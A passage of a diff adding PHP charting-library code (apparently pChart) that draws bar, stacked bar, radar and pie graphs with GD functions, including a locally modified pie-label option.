imagedestroy($this->Layers[$i]); + } + } + + /* This function draw a bar graph */ + function drawBarGraph($Data,$DataDescription,$Shadow=FALSE,$Alpha=100) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawBarGraph",$DataDescription); + $this->validateData("drawBarGraph",$Data); + + $GraphID = 0; + $Series = count($DataDescription["Values"]); + $SeriesWidth = $this->DivisionWidth / ($Series+1); + $SerieXOffset = $this->DivisionWidth / 2 - $SeriesWidth / 2; + + $YZero = $this->GArea_Y2 - ((0-$this->VMin) * $this->DivisionRatio); + if ( $YZero > $this->GArea_Y2 ) { $YZero = $this->GArea_Y2; } + + $SerieID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $XPos = $this->GArea_X1 + $this->GAreaXOffset - $SerieXOffset + $SeriesWidth * $SerieID; + $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + { + if ( is_numeric($Data[$Key][$ColName]) ) + { + $Value = $Data[$Key][$ColName]; + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + { + $this->addToImageMap($XPos+1,min($YZero,$YPos),$XPos+$SeriesWidth-1,max($YZero,$YPos),$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"Bar"); + } + + if ( $Shadow && $Alpha == 100 ) + $this->drawRectangle($XPos+1,$YZero,$XPos+$SeriesWidth-1,$YPos,25,25,25,TRUE,$Alpha); + + $this->drawFilledRectangle($XPos+1,$YZero,$XPos+$SeriesWidth-1,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE,$Alpha); + } + } + $XPos = $XPos + $this->DivisionWidth; + } + $SerieID++; + } + } + + /* This function draw a stacked bar graph */ + function drawStackedBarGraph($Data,$DataDescription,$Alpha=50,$Contiguous=FALSE) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawBarGraph",$DataDescription); + $this->validateData("drawBarGraph",$Data); + + $GraphID = 0; + $Series = count($DataDescription["Values"]); + if ( $Contiguous ) + $SeriesWidth = $this->DivisionWidth; + else + $SeriesWidth = $this->DivisionWidth * .8; + + $YZero = $this->GArea_Y2 - ((0-$this->VMin) * $this->DivisionRatio); + if ( $YZero > $this->GArea_Y2 ) { $YZero = $this->GArea_Y2; } + + $SerieID = 0; $LastValue = ""; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $XPos = $this->GArea_X1 + $this->GAreaXOffset - $SeriesWidth / 2; + $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + { + if ( is_numeric($Data[$Key][$ColName]) ) + { + $Value = $Data[$Key][$ColName]; + + if ( isset($LastValue[$Key]) ) + { + $YPos = $this->GArea_Y2 - ((($Value+$LastValue[$Key])-$this->VMin) * $this->DivisionRatio); + $YBottom = $this->GArea_Y2 - (($LastValue[$Key]-$this->VMin) * $this->DivisionRatio); + $LastValue[$Key] += $Value; + } + else + { + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + $YBottom = $YZero; + $LastValue[$Key] = $Value; + } + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + $this->addToImageMap($XPos+1,min($YBottom,$YPos),$XPos+$SeriesWidth-1,max($YBottom,$YPos),$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"sBar"); + + $this->drawFilledRectangle($XPos+1,$YBottom,$XPos+$SeriesWidth-1,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE,$Alpha); + } + } + $XPos = $XPos + $this->DivisionWidth; + } + $SerieID++; + } + } + + /* This function draw a limits bar graphs */ + function drawLimitsGraph($Data,$DataDescription,$R=0,$G=0,$B=0) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawLimitsGraph",$DataDescription); + $this->validateData("drawLimitsGraph",$Data); + + $XWidth = $this->DivisionWidth / 4; + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + + foreach ( $Data as $Key => $Values ) + { + $Min = $Data[$Key][$DataDescription["Values"][0]]; + $Max = $Data[$Key][$DataDescription["Values"][0]]; + $GraphID = 0; $MaxID = 0; $MinID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if ( isset($Data[$Key][$ColName]) ) + { + if ( $Data[$Key][$ColName] > $Max && is_numeric($Data[$Key][$ColName])) + { $Max = $Data[$Key][$ColName]; $MaxID = $GraphID; } + } + if ( isset($Data[$Key][$ColName]) && is_numeric($Data[$Key][$ColName])) + { + if ( $Data[$Key][$ColName] < $Min ) + { $Min = $Data[$Key][$ColName]; $MinID = $GraphID; } + $GraphID++; + } + } + + $YPos = $this->GArea_Y2 - (($Max-$this->VMin) * $this->DivisionRatio); + $X1 = floor($XPos - $XWidth); $Y1 = floor($YPos) - .2; + $X2 = floor($XPos + $XWidth); + if ( $X1 <= $this->GArea_X1 ) { $X1 = $this->GArea_X1 + 1; } + if ( $X2 >= $this->GArea_X2 ) { $X2 = $this->GArea_X2 - 1; } + + $YPos = $this->GArea_Y2 - (($Min-$this->VMin) * $this->DivisionRatio); + $Y2 = floor($YPos) + .2; + + $this->drawLine(floor($XPos)-.2,$Y1+1,floor($XPos)-.2,$Y2-1,$R,$G,$B,TRUE); + $this->drawLine(floor($XPos)+.2,$Y1+1,floor($XPos)+.2,$Y2-1,$R,$G,$B,TRUE); + $this->drawLine($X1,$Y1,$X2,$Y1,$this->Palette[$MaxID]["R"],$this->Palette[$MaxID]["G"],$this->Palette[$MaxID]["B"],FALSE); + $this->drawLine($X1,$Y2,$X2,$Y2,$this->Palette[$MinID]["R"],$this->Palette[$MinID]["G"],$this->Palette[$MinID]["B"],FALSE); + + $XPos = $XPos + $this->DivisionWidth; + } + } + + /* This function draw radar axis centered on the graph area */ + function drawRadarAxis($Data,$DataDescription,$Mosaic=TRUE,$BorderOffset=10,$A_R=60,$A_G=60,$A_B=60,$S_R=200,$S_G=200,$S_B=200,$MaxValue=-1) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawRadarAxis",$DataDescription); + $this->validateData("drawRadarAxis",$Data); + + $C_TextColor = $this->AllocateColor($this->Picture,$A_R,$A_G,$A_B); + + /* Draw radar axis */ + $Points = count($Data); + $Radius = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2 - $BorderOffset; + $XCenter = ( $this->GArea_X2 - $this->GArea_X1 ) / 2 + $this->GArea_X1; + $YCenter = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2 + $this->GArea_Y1; + + /* Search for the max value */ + if ( $MaxValue == -1 ) + { + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + if ( $Data[$Key][$ColName] > $MaxValue ) { $MaxValue = $Data[$Key][$ColName]; } + } + } + } + + /* Draw the mosaic */ + if ( $Mosaic ) + { + $RadiusScale = $Radius / $MaxValue; + for ( $t=1; $t<=$MaxValue-1; $t++) + { + $TRadius = $RadiusScale * $t; + $LastX1 = -1; + + for ( $i=0; $i<=$Points; $i++) + { + $Angle = -90 + $i * 360/$Points; + $X1 = cos($Angle * 3.14159265358979 / 180 ) * $TRadius + $XCenter; + $Y1 = sin($Angle * 3.14159265358979 / 180 ) * $TRadius + $YCenter; + $X2 = cos($Angle * 3.14159265358979 / 180 ) * ($TRadius+$RadiusScale) + $XCenter; + $Y2 = sin($Angle * 3.14159265358979 / 180 ) * ($TRadius+$RadiusScale) + $YCenter; + + if ( $t % 2 == 1 && $LastX1 != -1) + { + $Plots = ""; + $Plots[] = $X1; $Plots[] = $Y1; + $Plots[] = $X2; $Plots[] = $Y2; + $Plots[] = $LastX2; $Plots[] = $LastY2; + $Plots[] = $LastX1; $Plots[] = $LastY1; + + $C_Graph = $this->AllocateColor($this->Picture,250,250,250); + imagefilledpolygon($this->Picture,$Plots,(count($Plots)+1)/2,$C_Graph); + } + + $LastX1 = $X1; $LastY1= $Y1; + $LastX2 = $X2; $LastY2= $Y2; + } + } + } + + + /* Draw the spider web */ + for ( $t=1; $t<=$MaxValue; $t++) + { + $TRadius = ( $Radius / $MaxValue ) * $t; + $LastX = -1; + + for ( $i=0; $i<=$Points; $i++) + { + $Angle = -90 + $i * 360/$Points; + $X = cos($Angle * 3.14159265358979 / 180 ) * $TRadius + $XCenter; + $Y = sin($Angle * 3.14159265358979 / 180 ) * $TRadius + $YCenter; + + if ( $LastX != -1 ) + $this->drawDottedLine($LastX,$LastY,$X,$Y,4,$S_R,$S_G,$S_B); + + $LastX = $X; $LastY= $Y; + } + } + + /* Draw the axis */ + for ( $i=0; $i<=$Points; $i++) + { + $Angle = -90 + $i * 360/$Points; + $X = cos($Angle * 3.14159265358979 / 180 ) * $Radius + $XCenter; + $Y = sin($Angle * 3.14159265358979 / 180 ) * $Radius + $YCenter; + + $this->drawLine($XCenter,$YCenter,$X,$Y,$A_R,$A_G,$A_B); + + $XOffset = 0; $YOffset = 0; + if (isset($Data[$i][$DataDescription["Position"]])) + { + $Label = $Data[$i][$DataDescription["Position"]]; + + $Positions = imagettfbbox($this->FontSize,0,$this->FontName,$Label); + $Width = $Positions[2] - $Positions[6]; + $Height = $Positions[3] - $Positions[7]; + + if ( $Angle >= 0 && $Angle <= 90 ) + $YOffset = $Height; + + if ( $Angle > 90 && $Angle <= 180 ) + { $YOffset = $Height; $XOffset = -$Width; } + + if ( $Angle > 180 && $Angle <= 270 ) + { $XOffset = -$Width; } + + imagettftext($this->Picture,$this->FontSize,0,$X+$XOffset,$Y+$YOffset,$C_TextColor,$this->FontName,$Label); + } + } + + /* Write the values */ + for ( $t=1; $t<=$MaxValue; $t++) + { + $TRadius = ( $Radius / $MaxValue ) * $t; + + $Angle = -90 + 360 / $Points; + $X1 = $XCenter; + $Y1 = $YCenter - $TRadius; + $X2 = cos($Angle * 3.14159265358979 / 180 ) * $TRadius + $XCenter; + $Y2 = sin($Angle * 3.14159265358979 / 180 ) * $TRadius + $YCenter; + + $XPos = floor(($X2-$X1)/2) + $X1; + $YPos = floor(($Y2-$Y1)/2) + $Y1; + + $Positions = imagettfbbox($this->FontSize,0,$this->FontName,$t); + $X = $XPos - ( $X+$Positions[2] - $X+$Positions[6] ) / 2; + $Y = $YPos + $this->FontSize; + + $this->drawFilledRoundedRectangle($X+$Positions[6]-2,$Y+$Positions[7]-1,$X+$Positions[2]+4,$Y+$Positions[3]+1,2,240,240,240); + $this->drawRoundedRectangle($X+$Positions[6]-2,$Y+$Positions[7]-1,$X+$Positions[2]+4,$Y+$Positions[3]+1,2,220,220,220); + imagettftext($this->Picture,$this->FontSize,0,$X,$Y,$C_TextColor,$this->FontName,$t); + } + } + + /* This function draw a radar graph centered on the graph area */ + function drawRadar($Data,$DataDescription,$BorderOffset=10,$MaxValue=-1) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawRadar",$DataDescription); + $this->validateData("drawRadar",$Data); + + $Points = count($Data); + $Radius = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2 - $BorderOffset; + $XCenter = ( $this->GArea_X2 - $this->GArea_X1 ) / 2 + $this->GArea_X1; + $YCenter = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2 + $this->GArea_Y1; + + /* Search for the max value */ + if ( $MaxValue == -1 ) + { + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + if ( $Data[$Key][$ColName] > $MaxValue ) { $MaxValue = $Data[$Key][$ColName]; } + } + } + } + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $Angle = -90; + $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + { + $Value = $Data[$Key][$ColName]; + $Strength = ( $Radius / $MaxValue ) * $Value; + + $XPos = cos($Angle * 3.14159265358979 / 180 ) * $Strength + $XCenter; + $YPos = sin($Angle * 3.14159265358979 / 180 ) * $Strength + $YCenter; + + if ( $XLast != -1 ) + $this->drawLine($XLast,$YLast,$XPos,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + + if ( $XLast == -1 ) + { $FirstX = $XPos; $FirstY = $YPos; } + + $Angle = $Angle + (360/$Points); + $XLast = $XPos; + $YLast = $YPos; + } + } + $this->drawLine($XPos,$YPos,$FirstX,$FirstY,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + $GraphID++; + } + } + + /* This function draw a radar graph centered on the graph area */ + function drawFilledRadar($Data,$DataDescription,$Alpha=50,$BorderOffset=10,$MaxValue=-1) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawFilledRadar",$DataDescription); + $this->validateData("drawFilledRadar",$Data); + + $Points = count($Data); + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + $Radius = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2 - $BorderOffset; + $XCenter = ( $this->GArea_X2 - $this->GArea_X1 ) / 2; + $YCenter = ( $this->GArea_Y2 - $this->GArea_Y1 ) / 2; + + /* Search for the max value */ + if ( $MaxValue == -1 ) + { + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + if ( $Data[$Key][$ColName] > $MaxValue && is_numeric($Data[$Key][$ColName])) { $MaxValue = $Data[$Key][$ColName]; } + } + } + } + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $Angle = -90; + $XLast = -1; + $Plots = ""; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + { + $Value = $Data[$Key][$ColName]; + if ( !is_numeric($Value) ) { $Value = 0; } + $Strength = ( $Radius / $MaxValue ) * $Value; + + $XPos = cos($Angle * 3.14159265358979 / 180 ) * $Strength + $XCenter; + $YPos = sin($Angle * 3.14159265358979 / 180 ) * $Strength + $YCenter; + + $Plots[] = $XPos; + $Plots[] = $YPos; + + $Angle = $Angle + (360/$Points); + $XLast = $XPos; + $YLast = $YPos; + } + } + + if (isset($Plots[0])) + { + $Plots[] = $Plots[0]; + $Plots[] = $Plots[1]; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White = $this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $C_Graph = $this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$Plots,(count($Plots)+1)/2,$C_Graph); + + imagecopymerge($this->Picture,$this->Layers[0],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + + for($i=0;$i<=count($Plots)-4;$i=$i+2) + $this->drawLine($Plots[$i]+$this->GArea_X1,$Plots[$i+1]+$this->GArea_Y1,$Plots[$i+2]+$this->GArea_X1,$Plots[$i+3]+$this->GArea_Y1,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + } + + $GraphID++; + } + } + + /* This function draw a flat pie chart */ + function drawBasicPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$R=255,$G=255,$B=255,$Decimals=0) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawBasicPieGraph",$DataDescription,FALSE); + $this->validateData("drawBasicPieGraph",$Data); + + /* Determine pie sum */ + $Series = 0; $PieSum = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if ( $ColName != $DataDescription["Position"] ) + { + $Series++; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + $PieSum = $PieSum + $Data[$Key][$ColName]; $iValues[] = $Data[$Key][$ColName]; $iLabels[] = $Data[$Key][$DataDescription["Position"]]; + } + } + } + + /* Validate serie */ + if ( $Series != 1 ) + RaiseFatal("Pie chart can only accept one serie of data."); + + $SpliceRatio = 360 / $PieSum; + $SplicePercent = 100 / $PieSum; + + /* Calculate all polygons */ + $Angle = 0; $TopPlots = ""; + foreach($iValues as $Key => $Value) + { + $TopPlots[$Key][] = $XPos; + $TopPlots[$Key][] = $YPos; + + /* Process labels position & size */ + $Caption = ""; + if ( !($DrawLabels == PIE_NOLABEL) ) + { + $TAngle = $Angle+($Value*$SpliceRatio/2); + if ($DrawLabels == PIE_PERCENTAGE) + $Caption = (round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%"; + elseif ($DrawLabels == PIE_LABELS) + $Caption = $iLabels[$Key]; + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%"; + // MHB modification spécifique + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL_VALUE) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%" . ' (' . $Value . ')'; + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Caption); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = abs($Position[1])+abs($Position[3]); + + $TX = cos(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+10) + $XPos; + + if ( $TAngle > 0 && $TAngle < 180 ) + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+10) + $YPos + 4; + else + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+4) + $YPos - ($TextHeight/2); + + if ( $TAngle > 90 && $TAngle < 270 ) + $TX = $TX - $TextWidth; + + $C_TextColor = $this->AllocateColor($this->Picture,70,70,70); + imagettftext($this->Picture,$this->FontSize,0,$TX,$TY,$C_TextColor,$this->FontName,$Caption); + } + + /* Process pie slices */ + for($iAngle=$Angle;$iAngle<=$Angle+$Value*$SpliceRatio && $iAngle <= 360;$iAngle=$iAngle+.25) + { + + $TopX = cos($iAngle * 3.14159265358979 / 180 ) * $Radius + $XPos; + $TopY = sin($iAngle * 3.14159265358979 / 180 ) * $Radius + $YPos; + + $TopPlots[$Key][] = $TopX; + $TopPlots[$Key][] = $TopY; + } + + $TopPlots[$Key][] = $XPos; + $TopPlots[$Key][] = $YPos; + + $Angle = $iAngle; + } + $PolyPlots = $TopPlots; + + /* Set array values type to float --- PHP Bug with imagefilledpolygon casting to integer */ + foreach ($TopPlots as $Key => $Value) + { foreach ($TopPlots[$Key] as $Key2 => $Value2) { settype($TopPlots[$Key][$Key2],"float"); } } + + /* Draw Top polygons */ + foreach ($PolyPlots as $Key => $Value) + { + $C_GraphLo = $this->AllocateColor($this->Picture,$this->Palette[$Key]["R"],$this->Palette[$Key]["G"],$this->Palette[$Key]["B"]); + imagefilledpolygon($this->Picture,$PolyPlots[$Key],(count($PolyPlots[$Key])+1)/2,$C_GraphLo); + } + + $this->drawCircle($XPos-.5,$YPos-.5,$Radius,$R,$G,$B); + $this->drawCircle($XPos-.5,$YPos-.5,$Radius+.5,$R,$G,$B); + + /* Draw Top polygons */ + foreach ($TopPlots as $Key => $Value) + { + for($j=0;$j<=count($TopPlots[$Key])-4;$j=$j+2) + $this->drawLine($TopPlots[$Key][$j],$TopPlots[$Key][$j+1],$TopPlots[$Key][$j+2],$TopPlots[$Key][$j+3],$R,$G,$B); + } + } + + function drawFlatPieGraphWithShadow($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$SpliceDistance=0,$Decimals=0) + { + $this->drawFlatPieGraph($Data,$DataDescription,$XPos+$this->ShadowXDistance,$YPos+$this->ShadowYDistance,$Radius,PIE_NOLABEL,$SpliceDistance,$Decimals,TRUE); + $this->drawFlatPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius,$DrawLabels,$SpliceDistance,$Decimals,FALSE); + } + + /* This function draw a flat pie chart */ + function drawFlatPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$SpliceDistance=0,$Decimals=0,$AllBlack=FALSE) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawFlatPieGraph",$DataDescription,FALSE); + $this->validateData("drawFlatPieGraph",$Data); + + $ShadowStatus = $this->ShadowActive ; $this->ShadowActive = FALSE; + + /* Determine pie sum */ + $Series = 0; $PieSum = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if ( $ColName != $DataDescription["Position"] ) + { + $Series++; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + $PieSum = $PieSum + $Data[$Key][$ColName]; $iValues[] = $Data[$Key][$ColName]; $iLabels[] = $Data[$Key][$DataDescription["Position"]]; + } + } + } + + /* Validate serie */ + if ( $Series != 1 ) + { + RaiseFatal("Pie chart can only accept one serie of data."); + return(0); + } + + $SpliceRatio = 360 / $PieSum; + $SplicePercent = 100 / $PieSum; + + /* Calculate all polygons */ + $Angle = 0; $TopPlots = ""; + foreach($iValues as $Key => $Value) + { + $XOffset = cos(($Angle+($Value/2*$SpliceRatio)) * 3.14159265358979 / 180 ) * $SpliceDistance; + $YOffset = sin(($Angle+($Value/2*$SpliceRatio)) * 3.14159265358979 / 180 ) * $SpliceDistance; + + $TopPlots[$Key][] = round($XPos + $XOffset); + $TopPlots[$Key][] = round($YPos + $YOffset); + + if ( $AllBlack ) + { $Rc = $this->ShadowRColor; $Gc = $this->ShadowGColor; $Bc = $this->ShadowBColor; } + else + { $Rc = $this->Palette[$Key]["R"]; $Gc = $this->Palette[$Key]["G"]; $Bc = $this->Palette[$Key]["B"]; } + + $XLineLast = ""; $YLineLast = ""; + + /* Process labels position & size */ + $Caption = ""; + if ( !($DrawLabels == PIE_NOLABEL) ) + { + $TAngle = $Angle+($Value*$SpliceRatio/2); + if ($DrawLabels == PIE_PERCENTAGE) + $Caption = (round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%"; + elseif ($DrawLabels == PIE_LABELS) + $Caption = $iLabels[$Key]; + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%"; + // MHB modification spécifique + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL_VALUE) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%" . ' (' . $Value . ')'; + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Caption); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = abs($Position[1])+abs($Position[3]); + + $TX = cos(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+10+$SpliceDistance) + $XPos; + + if ( $TAngle > 0 && $TAngle < 180 ) + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+10+$SpliceDistance) + $YPos + 4; + else + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($Radius+$SpliceDistance+4) + $YPos - ($TextHeight/2); + + if ( $TAngle > 90 && $TAngle < 270 ) + $TX = $TX - $TextWidth; + + $C_TextColor = $this->AllocateColor($this->Picture,70,70,70); + imagettftext($this->Picture,$this->FontSize,0,$TX,$TY,$C_TextColor,$this->FontName,$Caption); + } + + /* Process pie slices */ + if ( !$AllBlack ) + $LineColor = $this->AllocateColor($this->Picture,$Rc,$Gc,$Bc); + else + $LineColor = $this->AllocateColor($this->Picture,$Rc,$Gc,$Bc); + + $XLineLast = ""; $YLineLast = ""; + for($iAngle=$Angle;$iAngle<=$Angle+$Value*$SpliceRatio && $iAngle <= 360;$iAngle=$iAngle+.25) + { + $PosX = cos($iAngle * 3.14159265358979 / 180 ) * $Radius + $XPos + $XOffset; + $PosY = sin($iAngle * 3.14159265358979 / 180 ) * $Radius + $YPos + $YOffset; + + $TopPlots[$Key][] = round($PosX); $TopPlots[$Key][] = round($PosY); + + if ( $iAngle == $Angle || $iAngle == $Angle+$Value*$SpliceRatio || $iAngle +.5 > $Angle+$Value*$SpliceRatio) + $this->drawLine($XPos+$XOffset,$YPos+$YOffset,$PosX,$PosY,$Rc,$Gc,$Bc); + + if ( $XLineLast != "" ) + $this->drawLine($XLineLast,$YLineLast,$PosX,$PosY,$Rc,$Gc,$Bc); + + $XLineLast = $PosX; $YLineLast = $PosY; + } + + $TopPlots[$Key][] = round($XPos + $XOffset); $TopPlots[$Key][] = round($YPos + $YOffset); + + $Angle = $iAngle; + } + $PolyPlots = $TopPlots; + + /* Draw Top polygons */ + foreach ($PolyPlots as $Key => $Value) + { + if ( !$AllBlack ) + $C_GraphLo = $this->AllocateColor($this->Picture,$this->Palette[$Key]["R"],$this->Palette[$Key]["G"],$this->Palette[$Key]["B"]); + else + $C_GraphLo = $this->AllocateColor($this->Picture,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor); + + imagefilledpolygon($this->Picture,$PolyPlots[$Key],(count($PolyPlots[$Key])+1)/2,$C_GraphLo); + } + $this->ShadowActive = $ShadowStatus; + } + + /* This function draw a pseudo-3D pie chart */ + function drawPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$EnhanceColors=TRUE,$Skew=60,$SpliceHeight=20,$SpliceDistance=0,$Decimals=0) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawPieGraph",$DataDescription,FALSE); + $this->validateData("drawPieGraph",$Data); + + /* Determine pie sum */ + $Series = 0; $PieSum = 0; $rPieSum = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if ( $ColName != $DataDescription["Position"] ) + { + $Series++; + foreach ( $Data as $Key => $Values ) + if ( isset($Data[$Key][$ColName])) + { + if ( $Data[$Key][$ColName] == 0 ) + { $iValues[] = 0; $rValues[] = 0; $iLabels[] = $Data[$Key][$DataDescription["Position"]]; } + // Removed : $PieSum++; $rValues[] = 1; + else + { $PieSum += $Data[$Key][$ColName]; $iValues[] = $Data[$Key][$ColName]; $iLabels[] = $Data[$Key][$DataDescription["Position"]]; $rValues[] = $Data[$Key][$ColName]; $rPieSum += $Data[$Key][$ColName];} + } + } + } + + /* Validate serie */ + if ( $Series != 1 ) + RaiseFatal("Pie chart can only accept one serie of data."); + + $SpliceDistanceRatio = $SpliceDistance; + $SkewHeight = ($Radius * $Skew) / 100; + $SpliceRatio = (360 - $SpliceDistanceRatio * count($iValues) ) / $PieSum; + $SplicePercent = 100 / $PieSum; + $rSplicePercent = 100 / $rPieSum; + + /* Calculate all polygons */ + $Angle = 0; $CDev = 5; + $TopPlots = ""; $BotPlots = ""; + $aTopPlots = ""; $aBotPlots = ""; + foreach($iValues as $Key => $Value) + { + $XCenterPos = cos(($Angle-$CDev+($Value*$SpliceRatio+$SpliceDistanceRatio)/2) * 3.14159265358979 / 180 ) * $SpliceDistance + $XPos; + $YCenterPos = sin(($Angle-$CDev+($Value*$SpliceRatio+$SpliceDistanceRatio)/2) * 3.14159265358979 / 180 ) * $SpliceDistance + $YPos; + $XCenterPos2 = cos(($Angle+$CDev+($Value*$SpliceRatio+$SpliceDistanceRatio)/2) * 3.14159265358979 / 180 ) * $SpliceDistance + $XPos; + $YCenterPos2 = sin(($Angle+$CDev+($Value*$SpliceRatio+$SpliceDistanceRatio)/2) * 3.14159265358979 / 180 ) * $SpliceDistance + $YPos; + + $TopPlots[$Key][] = round($XCenterPos); $BotPlots[$Key][] = round($XCenterPos); + $TopPlots[$Key][] = round($YCenterPos); $BotPlots[$Key][] = round($YCenterPos + $SpliceHeight); + $aTopPlots[$Key][] = $XCenterPos; $aBotPlots[$Key][] = $XCenterPos; + $aTopPlots[$Key][] = $YCenterPos; $aBotPlots[$Key][] = $YCenterPos + $SpliceHeight; + + /* Process labels position & size */ + $Caption = ""; + if ( !($DrawLabels == PIE_NOLABEL) ) + { + $TAngle = $Angle+($Value*$SpliceRatio/2); + if ($DrawLabels == PIE_PERCENTAGE) + $Caption = (round($rValues[$Key] * pow(10,$Decimals) * $rSplicePercent)/pow(10,$Decimals))."%"; + elseif ($DrawLabels == PIE_LABELS) + $Caption = $iLabels[$Key]; + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%"; + // MHB modification spécifique + elseif ($DrawLabels == PIE_PERCENTAGE_LABEL_VALUE) + $Caption = $iLabels[$Key]."\r\n".(round($Value * pow(10,$Decimals) * $SplicePercent)/pow(10,$Decimals))."%" . ' (' . $Value . ')'; + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Caption); + $TextWidth = 